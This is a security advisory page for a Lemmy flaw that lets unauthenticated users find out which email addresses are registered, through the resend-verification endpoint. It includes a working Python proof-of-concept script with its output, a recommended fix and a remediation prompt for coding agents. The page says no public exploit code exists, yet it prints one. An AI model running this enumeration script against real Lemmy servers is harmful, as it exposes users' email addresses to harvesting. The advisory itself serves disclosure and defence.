# GHSA-qxrw-f6fh-34r7: Lemmy resend-verification endpoint exposes registered email addresses to unauthenticated users

> Unauthenticated attackers can enumerate registered email addresses via the resend-verification endpoint's distinct error responses.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 6 May 2026

## What is GHSA-qxrw-f6fh-34r7?

GHSA-qxrw-f6fh-34r7 is a vulnerability in lemmy_api, published on 6 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

## Summary

The unauthenticated resend-verification endpoint returns different responses for registered and unregistered email addresses. A malicious third party can submit candidate addresses to `/api/v4/account/auth/resend_verification_email` and distinguish accounts from misses.

## Details

`resend_verification_email()` looks up the submitted address and returns the lookup error to the caller:

```rust
let local_user_view = LocalUserView::find_by_email(&mut context.pool(), &email).await?;
check_local_user_valid(&local_user_view)?;
```

The password reset endpoint already uses a safer pattern. It discards lookup errors and returns success, which prevents the same account-discovery channel.

## Proof of Concept

The following script creates one user and probes that address plus a missing address.

```python
import requests, random, string

BASE = "http://127.0.0.1:8536/api/v4"  # change to the target Lemmy URL
ADMIN_USER = "lemmy"
ADMIN_PASS = "lemmylemmy"
PASSWORD = "Password123456!"

def post(path, **body):
    return requests.post(BASE + path, json=body)

suffix = "enum" + "".join(random.choice(string.ascii_lowercase) for _ in range(6))
admin = post("/account/auth/login", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()["jwt"]
requests.put(BASE + "/site", headers={"Authorization": "Bearer " + admin},
             json={"registration_mode": "open", "email_verification_required": False})

email = "alice" + suffix + "@example.test"
post("/account/auth/register", username="alice" + suffix, password=PASSWORD,
     password_verify=PASSWORD, email=email).raise_for_status()

for candidate in [email, "missing" + suffix + "@example.test"]:
    r = post("/account/auth/resend_verification_email", email=candidate)
    print(candidate, "HTTP", r.status_code, r.text[:300])

```

Output:

```text
alicepoceudtpf@example.test HTTP 200 {"success":true}
missingpoceudtpf@example.test HTTP 404 {"error":"not_found","cause":"Record not found"}
```

## Impact

A malicious third party can enumerate registered email addresses without authentication. The endpoint uses the registration rate limit bucket, not an endpoint-specific anti-enumeration limit, so the attacker can automate probes across candidate address lists. The response also distinguishes missing accounts from banned or deleted accounts because `check_local_user_valid()` returns separate error types.

## Recommended Fix

Use the password-reset pattern for resend verification. Move the lookup and email-send work into a helper, ignore helper errors in the handler, and always return `{"success": true}` for syntactically valid input.

---
*Found by [aisafe.io](https://aisafe.io)*

## Which versions are affected by GHSA-qxrw-f6fh-34r7?

2 open source packages ship an affected version, including lemmy_api.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `lemmy_api` | crates.io | All versions to 0.19.1-rc.1 | None |
| `lemmy_api` | crates.io | All versions to 0.19.1-rc.1 | None |

## How do I fix GHSA-qxrw-f6fh-34r7?

No fix has been published for GHSA-qxrw-f6fh-34r7 yet. Limit exposure of the affected software until one is available.

## Is GHSA-qxrw-f6fh-34r7 being exploited?

There is no known exploitation of GHSA-qxrw-f6fh-34r7 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-qxrw-f6fh-34r7 and fix it if it is affected.

What it is: GHSA-qxrw-f6fh-34r7 is a vulnerability in lemmy_api, published on 6 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-qxrw-f6fh-34r7 in the wild and no public exploit code.

Affected packages and fixed versions:
- lemmy_api (crates.io): affected all versions up to 0.19.1-rc.1; no fix listed
- lemmy_api (crates.io): affected all versions up to 0.19.1-rc.1; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-qxrw-f6fh-34r7/ (Markdown: https://insights.sbomify.com/GHSA-qxrw-f6fh-34r7/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-qxrw-f6fh-34r7

---
From sbomify Insights: https://insights.sbomify.com/GHSA-qxrw-f6fh-34r7/
Summaries are generated and may contain mistakes; the official description above is the record.
